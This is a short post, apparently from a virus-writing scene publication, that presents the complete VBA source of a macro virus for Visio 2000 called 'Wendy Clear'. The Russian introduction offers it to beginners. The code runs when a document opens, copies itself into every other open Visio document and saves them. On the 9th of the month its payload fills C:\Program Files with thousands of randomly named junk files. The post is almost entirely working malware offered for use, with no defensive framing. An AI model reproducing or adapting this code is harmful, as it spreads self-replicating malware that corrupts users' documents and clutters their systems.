Visio2K.WendyClear - 13:07 - by Ultras
 
Маленький вирус под Visio2000... Специально для начинающих.

Dedicated to t2k(T2000)
T2000 gime me 2 dollarz plz...


virus start here :
~~~~~~~~~~~~~~~~~~

Private Sub Document_DocumentOpened(ByVal doc As IVDocument)
Wendy
End Sub

Private Sub Wendy()
On Error Resume Next
'Wendy Clear by -=Unknow Lord Ultra=-
Codez = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 39)
For u = 1 To Documents.Count
If Documents(u).Description <> "Wendy" Then
Documents(u).Description = "Wendy"
With Documents(u).VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.InsertLines 1, Codez
End With
Documents(u).Save
End If
Next
If Day(Now()) = 9 Then
MsgBox "Wendy Clear", vbCritical, "Blink182"
For live = 1 To 9999
shit = Int(Rnd() * 9999999 + 1)
Open "C:\Program Files\" & shit For Output As #2
Print #2, "[Wendy Clear by Lord U2K]"
Close #2
Next live
End if
ThisDocument.Save
End Sub